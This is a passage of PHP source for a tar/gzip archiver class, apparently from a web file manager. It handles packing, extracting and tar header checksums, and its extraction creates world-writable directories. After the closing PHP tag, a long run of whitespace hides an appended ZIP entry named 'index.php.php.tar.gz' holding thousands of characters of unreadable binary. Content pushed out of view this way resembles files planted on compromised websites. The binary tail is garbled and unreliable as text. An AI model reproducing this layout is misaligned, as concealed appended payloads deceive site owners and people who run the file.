				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   PK     S])cJf  Jf    index.php.php.tar.gznu [              w#q Zz}c}kW͡MM&$] 
@
lk-Zɣ-ɲ=#KuYGI#zx_/_Ef	HvKZrYUm2hl(2h%Zb>^`v~;]nty}.|w'ey3j
P7yogӱ[έ(\4xe+Ƿ凗#,F?Aw^{o/W<1|/>^/;=C߿k.-,>G;WcO"_0->>}~|P޷?0y7y_>;|q-xV[~:]|pS'O^GP^.i?,? OXۋO.|3˿,߬B9_y(GN7חo7Go-~gś87+/@-X @~"`ym˯@o+?[~W>ۀⓀ[Ͽk4iO_]C ?WzYRo,2}i7Y8%@g\~t
SeA>e	?[h凖-?y,y=h&p8ڿ[=zPPHj-?_{On;/~x}p|2@l~6Gm嗀OZIo.:*4j7L(͒y嗖_[~e6{?x?3hś B竻^2\zq+ݺ?8d^Z[5I,UC;}{G-@̄^k7=4J9-O_}=DdNP}
_,9pѹ[~s-{ǹ@{ךxo#Go_#/>&zg^~g'ruo5^~}FA '0W/<yoJ7}@.twN}/@j|uw񖿳.؋P~	<[~PBZ~u|A#)[# !,zkOˏ.޼By?@N_4^\K@zlft`׋O>z[|o{z<sǗ_,?zꋙo?x~cLG'×|ۅ-;,p7@zG_\~y O|o{%TԚw4_?ŧ=wK	lKq@嫉_[|W˽YK`ru ?A_}n'ίA|ko;A.{}^,'?!z \o輪k,~jzI͟>1Յ`=Ov+goߍ?y5w@Y|hZT닷r!9{ms/_`q0G7/?ŷ@}Qxq<dh_uoN/k{W?@WQa
ŏt7); @?6xZ(Uԧ>{275lŗC!W
<Z|_'}/7t}O>}{apz{K/_p)+>X|#r[~v%|}ԝF,p^N71>mN_-?Dz?[B}f:]~|o/M+?Gۭkᄽ Cїj",>/߂$.>5Wˏ:7k--Z~53;˷۳sʟŷYБ-| g˿
Ҩ~s)߇Q]oRo^@|Ƽ]~;mx7 qeq|"~W_~zg\H_gġ7xz/GZ~cm{zr>Wa $['J~}G
~sJO~0\~n'o{H
'@mM)޳ a/_Z|qn?&Xo_~/k_Mn%S__oߏ^[5hɷ!o .Y~y٪KP`"|:|>5s9q>HeOT1T#Pcq^z lTV` 3A!kZ>CSt̮S}.(awohP{yxDYGGs- iAg[` w@KmTv vw.\)R(>G{}Jw-=KXKrC>YlNޣ,wgnڴp٧g5Ē]`<}/-"Kۤ{"K[brDA#0f"Z `']"Ǝa('ILW}m/{_$+I "2NsME(oJR02nYtl3u|KۧP"L. x+G Qt,ElRd$sd6e8C%Rz#RbRUTleV4bĦ$ce2H<U	I %*ZǐEDGz.	8*z.a<% Y+`uEɢ& $Ey]ڀ	/4HQ#_$F.kX~:[C5yiO4~IP	%bZD*bP&G\DTQ;+RRkX@hq@lm{$wPC)]ĢȘ P2&e$iX.DIݳ
OEtuԋ=,z&^G^`Xr i@,j@YVkD`k&5m%
|9`9-P(-^&X) &peTRB~̺
El&]oS+-R9	`=phPa0F2ࡄ}2lmZ I%Ϗѿ1-(V>*E1kETOiw)#e{Xn=qu./ww$f*Jz|J#}z!Q#E/*i+UYLBH\" B1ӛqwSA%X@4@6_bE4
|{hkHC@iNKGJMP&$PLOFKczm,4,Y.֩'F	p.3Tk)(c
[҈\Wu?c}hm%%*.3Oue1X:!;a]9}{HXfzHWTЉ\ULSi֯=65"]Я!֨GFTwBPy0w)qax2"]Э!tKʈq2i@@%'L)_ԡ!uF5`@L.q]pFБJdf!5)C;	xRO`'7u#XH7~ŉBdf#PA)DjROQS7&qo9/WymΧì6NP(@E}m JPG*+O(ad%>~'AJXP߱XhR0ANxMC+	2R$äM dz
"XN{R#Ԙ;-$+]9IJn*o_έZZ x6cڧ{-ֆTuĲ05KX[C&+#6 ޕFfL (t	RͦP	Etőj;1V-/J#\'&%ʔD$@l!`}'̊^dQw)Z}~B9nh^	l  ~lڦ޶b77Sۂ1i#n2<ẃJSoT
fOy=Wε^ߑ`˜'6n \Hl>Rfǋ.kro}TJ6ǁrT(?ẏxF#P%<&8YV
H5A sy;P>-c!Trqp|t#"Hޱtk3,Lbd{zYTOl)ν\M%jW"ӋR7@wkc7E|ckEkxeޞRMѬ\ѝ	Dx."R@ڟȇ<7ǨIq%Gh>>֩n"IM>AJ}C0bK,WTV; z̼0=cd<p@"'{+n/amE%Pkx	U\Ɓ~h_b(2 =e#>F$Jhf{5$	h;x^+!ɨk mM xJF"aQg+
Mʘk)H"Ph D |:G5Q4}ʾOI* A4]c ﮡ4\["PWk"o 0KP6WV,p?J<=6.Sķ)/GK"/H2eAiffE#̯Z,'NI 08rY	ϞMy}%{`9&yKUAM2?x&E޳'A7K~>+TjGdz>:Ӱ7Ev3~ÑEGd[Dv#BKf9E(q@wj- 4,w	g#(N,m3mDј.om>D[Jsq3Rooi'mS4F{}#ʹt|ܵ$5Ln#|}TEWCˣt}VۦPI[+|c83>Bǎ' Sȉp+&*s#1zu*zat#(o
G~-wFUЗr&g#YI<qkeUJeMՏ<)q@+{)X6dc ʮLQhc<kxBY}HyJhЪ
.=v)uxTQ8͜S@1"lpruMTY]-~/>n۠&iBZkEH7Lҏ		z'[8.ԝ\WmKon̫hsMGRoQv,aH\J-g96WP+c1+DN.GB#S%ɀr	uDG̣1Tr,;ƨ?8dٻo%E؄'%Mu76y=@><{FAp׋jwGK	C.ȦKדAdEbY,D\l6N0zmWťmcED7/Fr;Q.	3V!@E?3kf+ړS
$) (Wa`["S6 (CfVnQaU$#""gR2'q>1nԇi ko*"!LGEP,P>GUiiӦ
#bD.By㑱,e%	-@(UY+z@cP<]T<]BRkQ#R:t-ubdnf}j7*z0LwCZ޺<LtuAfF:RjrD=!
jtǱw_x{kD(E@'Pi<Tk|T\ LHxa㑕zVO* CrDzL!/Z*www;]vn< ;$;0]heb%ڨ92Ծ0e}$Iuυzl{Br@a2.U<QY~EfGÄ$&;KEe<@[S":4Z| ğAmbq`Tˁ2A(֠*QNyEVRV^,:~^QIaL)eёD*a58W 5GLHR7q`DCh	4gRMV۪&"pya_[\_-=95&}%#BwV(j3
3dHRۙRA(%uWHz(ĥ\m	EVԹr>LԬK׍ZF3ӘHJF UIT(gKg}3~xlppJ[G]Q+GV(5}d:o]j~A3b-]^F%s򭯓(Jj}fJ3E 'Hڧahyi夻s0U9P2-/TSuw?]b!dځQDAs$<CS7f$Ҝxy6Q**Bdʴ𶈒|4~n}|tt881@\kƊh\YrwCDx#4Fxۧ[]j$va̤:"MϖĞ vԂ zB'sE5R$Hy|GmMס7m#ι`mN޼q8U3w_
O6_0gApeI4,XOIX\0Pe~gsWZ9m'8;lg4%5F)$zf/nr˚Gkd{jÒ4R*eNo9FNw*m}ֳLՉnLTvHɶ;87کFlbYwν\e4=q_yEL3mz]V{.^HX4IZmvfKq!w\+N<['<sE1ipU]VvE_$~2k#y/	vQЙN)Z6PsX%3R &[rʛ]H%mT'3oj烳3ﺊxHIdye	Ygt{(tsD_fhjs ݢ[E +=Ĵ3\C/wףVzn;GVbfϭN]qyc&&6򐚎<ևg&^z~rA6"J#WrqDݚyWtv^R/+3]*1F<\j~b#!VJ	O	^)sghyrZX,%yE-ltJa̵[KOsi9p8)fnY4.-:lKymڙ9lZspqj#4ds8xYu1]#y /ޤ]t.w0:8mqjF;	OhO9}3ԫƎaOGM=w{BlXBBߚקg>g'"tZ1q9ѩg514GMm[JyYo3n09+E uX=I8'5:Ldm>G7gRHvq,i~^W܄TPY0h-Ymc{ms$R%&5V(tR6c GWP>Bcښrr Ө0M(Nak{f] Xx΢aiK@
{kXiz
ԸVL<G|1W>z\"{42oZN3r2ƈQto(@O&&P^ًm:3.zrOМ#P'mNl8bm-WhmmZVAw$>	-dD67l5smyk.10x!

(%׶[c`xU4$*#W7믡BEVef,WhzD?8[^+d!p5kc|F׿%t%ɣ>"$V4{UXD(uO§X4m`s34J0Z?m8DoځQ3΂7^6<N58'RU
V}>|	 <FgrD7eM#Th|6.Sd(K(uBZH^RUf$g"2LbG 1YWi#sYiHse}go)~~_ُ?[F)ҹX/Bi+7>{YJ%֣cSPVsLuDl0hK^=꤭)2Y^Ov*=$Z\3#^øpĨN
:*dx)t8dJ~2P`jsCr	ew4 ڜhHxyȋh9 4[(0}~vPu/VۉѪCsL+1CsdmD¢
ZKokEI#f'ØfF?@i-dHaJ
!6M* eTJ˄EW(.׊`
]ؑЏugȱ
zhYm< rkSþ@e}!ߠhm
ImbT)L,d*sxT,.iISԂn(_WoѸymJ7uYq)GqO\yؠnf{z=V0tawBcj`,>lTQmƇPuh2#8T)N3n\()sPHf%D,L,&XO(=HmMhї
J5J.UBPcj3M(l{lhC+hyldyUkk:O0\E8PkPQ;Z!C
%PR<pu]İ-W)Gߞ1\	
NUw0Ru54p`#|[Z߸xJmWCܾ9
W19ȇJ=T#VEkj\ZGq MriD90B7T|\n퀎NF9c(7W63yfU!mVbipl2d?fJv-eָTGGv&2DYx?g쟦EܬJ#kRd\E),чGZ2=jB;[AQvz#25Vɔ[uQwe!BdhV\oy?<&,_~{Lyڪ﫫Qx|{Зܩ+ԡN<T/#[Z(زh#cPBIqurspyȳa;ɘ`!+!L=uk
lݠr~%
JHb3;P|AQYj8Ѯj+CB$#T5iҍy&z-'Ot5íI4YYNYj1'm
i2  SW'Oq%nVٙOS*	:o65\ӳ)4U8^=Զr0?(H67CnJ<<+=LDRiX,;)]El4 |xbǭ NXhZJCO/olX<O9ϲ}uMq>z>=uซkKǖ3_';΀igUk1Ymxj	 !mۃX_g+Rܟe޵Rݣod:XsrC
4IJN`}P*KK፟}DxFF-Z&TUoUZoÄ?F6v&BD5;Vv1b9vuH)6iNy\BJ<U%S3YdCʃ?Ӥ<xv5;Ӡ ȑeLT.!C%H1Y|ŕR1ʁgN=xLPx֣II]ep&2GibFXYזZmVuЦǿ:I-Ăz{
L0""LNN
]KrMh&̜'3@1I W
Kǣ&o1x6_~	.FG|I~9̔:tͦe1ұ<+
q}^_/$RC0ÇmrpBͤ:nBwYQޫS'{Xv=NNާ8M1%IV
Ãee qqq_N2,JChJ>WjoS5t1L6%U!~ x#cAJ}Nn@w瞍| rH}o=$N;| ;i}7ucyi ȴ`Ae|}AOc5`^>p%|)6nG<Ƈ<W$4F;zeq(*^X[ϑ󏵖y{SB`+	,AfֳPO:֖DeAq(8=8DF@J(j<h<C+ nA%ïԹ	4">=k##x!`F5Gu,kأިW%cX2bFMLIXHMV;6kL1,)ZZ~Y
GĠ]}KДy&>)PnD0=wȭg:U#~Gkxo;lCEg/sst^s+*ipVsVX)8\9͕ArPzi\jYuJBeusk\GR)-6tP*Z8p8ȴ8+
>ŨCCk-m..#F{fp:RR0_($NHWCѹ
mk6<bt
t*
8
Nm07P$Pڻv2MoPH X8Yq&;h@
\Z+⡆䂵^(RС<ZV lD$'nIpɐ+
g",h{@㳴;/T!o߫(!Z?*<J
9AG"vn"19+vM~5VL[@kie2)wF}4u{~+c[eU)Z!<|A>(ن񞯕/ZV$B<K|˶zg#n:'NL#gJ}plzI(ewǞ#J4&^LsOK=-YOl}_r;"z9˖DԳn/Z')k^
1tQdY=w~Z@ Dnذ~Y6[iAOvz.^1!m!`K>
&`0f+cy ؞y0d|>t*r`(/NOZ	zʱll^4@ƎHNt.Ѥwwm,僳@X)l ʲVj]+x=Y(|xwOZ?(ţi3~Xo=m46D| `xG^<6+]p-W8W=M?BV&NiV9}2ɴ*y6RFS1-1TMwf+f´=9*~1Z@X4V%	yW)$ZPigI7܎f02	|ZU*hǓyӠd#YR3_?hbvaU|jl4%P ,~bvc\YN%k/a"ݓ`%CҖzqypִzVì.lc XQ{2]VI>Om.bz:b	kTn:u&0հ7.[CDhPN
t96D8
̰%d9n\҇BZN9a+Ry8p伎Td/{:3|͑N=U[;SaxĲ3NUZ!g*Zb\LUGx9N΋3!*Ν!DKL=lj/8.`..o.L|VdwZ-OှXC{S鑏fZ9Opj繋PeUW:]t=1V٢Xj|M4|[tbOm2LYäQ[4mɤԼOim>i$͚_Ӂ.ܕB~ԈrSd;1.vIuNWV;gJTuҾP	+Jd1:s1Or}+SsxM(/JC9Q$LG29˕ryCI#o=?2]W*7񅧒wkH;(Wi78>Xq5}8i[~48o;u_~3棬=<Fe>glGjg	(+gjv{:OݝYL&ukr ֦+>fF<`^ejwzm3:عY9/T6FX˩ظ)z95X]pa'^f"yˮMÎgYSV|ruyٖJCY,cgi[vص=ZR:ɜJ$鳞5j9GyrrNHEP(DYf
.=0(sn4ڞ~,9qSgveݞ	mb"}̻"^Ϫ@R%G9oa6ͻF7믌=.(HO,L'$;q,f=p!k6:&}$q13v&sV0HΚbcv	q\~Y[>-Hh{2nkX|g1۝3d1nr
|Dg<feT%SVܐog:<sڵuzMJ3?5h_&'$(ܰƗ<b+;iۼ%2UZqWg(ǜ&Ex]M8j<73=bg:eb=-Eyp8Cg*caFMgUg|2(墂w"ChVGhZ0EkOb-꩗-u܍LV]gGFlU:{?Zx@{V"w=8<2.a4ӉUaزI_gs:
r6_rNlH֘/kKqb/j羹V%(ӎZڔά+G#S8l!`'^ǕyW![:kgS6p3{:r;yͦ'Sm\:.
tL>=tI '@*Ryި]ͰgbF{8]s,v=k&b/T}g6rٚꍜM43لM̜Rk_~5ldxm-KhAi7bq\I}äl]q3ٚCE3*csqs^9/HX5zaWY:VW3v'LxZv%љ+qXRN˚)rl֕<6g\؝@ۼMʸ9͌jiBӶ:hSe<Kf1uCh~xfhO4}iص#OgnɆuJW:¶@yCpVu],Lhb8mDz|Y&T1"{?/b)GŔ5![$3fEgOѬde?uY-#x*P|;}!jzڧgaÍy[o}<v8!4kKn7aքZm	BZ
Y<[	烋f,ӮGBG*'Rѩ,~kѹYldƓ31Tہt+\ɂŌ)g3c$qY.PKsӫ}a֋ts`y>,a&IɡuRœE5Z㳎G|"va*](bZeQϣJE9iLY)!QV2y[.eJtqt;Cgѯ;@fVe>r>zsq=??=ٌEz8LۙX+#k(Q&:/4.EFj99~nF3`3R<Mr8jWKRw5zc﹢֚;TY.MD-v\?VCZȻk!ﮅZȻk!ﮅZȻk!ﮅZȻk!bsAW^qRb.8'N]F*۹nosY6`#x62FJ%R4LlvS$*\N,,׵M>
>u3l<<;}CzgMfpbJ{z^9,W\ey<%xbZSeP'ʡ@:e'DYq=N86iyq)Na,v=LR@-rydkRt
%kg8(dO/Ӯ"cͤBemI@jy<NnF>~]R%&P6§)fIိ*)]s$.>vlQl>tұSlƂæб4X,~ϟOM;=*1ڑRἜKiÍD"&LimNLϞyĤg;TqskTu=>O/Q	V@j4c_?*U{pyuxgeA
Mk۪[XmV~R*!a6e;,1rϒ{G$cS.mZCwx5/-yMs୍(c\
:863S8n,޷ь̸]uϨZy8c(9_NY<Ppԅ3Ttr3B͙^ھ N{*VĹw 7/P EЏdqdlN;gt8שtgR&0v5:;X=m4mִO˧դYc>:6[a.fEdkm;jVf(?~a.0=evgwӂ5unYF9>])觅,5jܠ=@zHE{d'̟lDb|<~6NzU;-?T&c8+nq8~6)1;4mVUp(@oQD_b$r4
;OV%vv,;RSJ Y-=y;zvvx6JE-TƇgބ'lMӵ^<n_55sL#1TJF^x&xuQ/g.|謚CZ`&T-*yOeq#R"l6'VS) Ps@5If&yUU@"C&H6]曝>uzowVx`ˤB08v{\(T.vVIw0HI8{!~ͫu<H/amTt*
PxΧ+bG
q"P-uxLJBmuJX5cE5?z.:6	;zG:gWgRu"sEǝK@bNwJ<7	P,*WSc(ʙ|Ǌ}4Xp8Pn>}0;e%`׻GrdQ|1LIa	=d}S	iߘUImqY{/9{*~7Ca@f]G CWWt@^[ϓX2쫺OtQWprV+mr*rKqGO{ظwznZwoI#(rJW:\OF7Iȱ0Uq&o1~t;	iAA'_<=Bl:d, Y gBJɺa R) V7eM=%ڧ90p|\AMS$zUuyQPD5|,Jr
΢&x[-訟z}QbKغ4P::XRtѮFRi1	>:piE3~zj4,5fE:Ę`a9V>uubǐ8<f-ipM{B	z|z7OKnD׈{iKsZI|Hʈyd4biSn:˧ySBi\EniSr<6jWц|ZAcrx)_=|tSm7#ʓPF'	nP\@\quXK:+i5~"@B7+jHcrZ2=m&(78E]XBե|hZ<gla&`Z&yƄZa=}K75DנXV\MzFLjԤ'KN)3!^?uQL4(]	+v zARc6U%ɋRZlݫjQ 6^gYV{hJH肳޾Mk5$KQ-LY&&yxi+ʨ!Poc4[\	ZL˽k%*R	5ZN%]"KVFge꯻[@wjQvFƥj4dFľ'L4F*	d&HKPVr9Qd6B7 'Ǡ{ї616kNP堬l`wrjVbdhÑ-vUgzHQ兽cBh&nfDUmKXZd(X'UIXh?Oh?'J5ɲwRtm>3贺|ls#<:7 EhAƐҫS'Þ[R{x~2 )#jcx)Rg
-B{>S1V͈4*RCbh1DI(ށxs=Nt.L>0S 
}1#Hz("|>Aa11n=ow]@eZ|LѤ.Q#!4qdza|usuJ#SAV`Zə*8<iJ|ds6k蕄&R޿vY8hT6W.iQnVVTUQKkI{|uϪgN9^e
cL#٢V$M^
LMu[GcN*rMW)tջJ[i&wElHY*i] pZߨ+=;VP,,Q-j͏鈚<5eaŵ(t_kȚ##UTێV
tt9PJ7Bm~|fGzZz=k!t'uXeֿi($ٰV RJPH?#p 
+]0<)_I((0ӻG&vF#lGUτ&xɵ|yʄ#5>D	]6uG{k{	7e+}>UG<\Fk]h͙n&pK8m_K8j6dj_	%ǴDƠt}"ݺ$ѭ]wNW]W^u%SK)bZ xAhznD5FO~
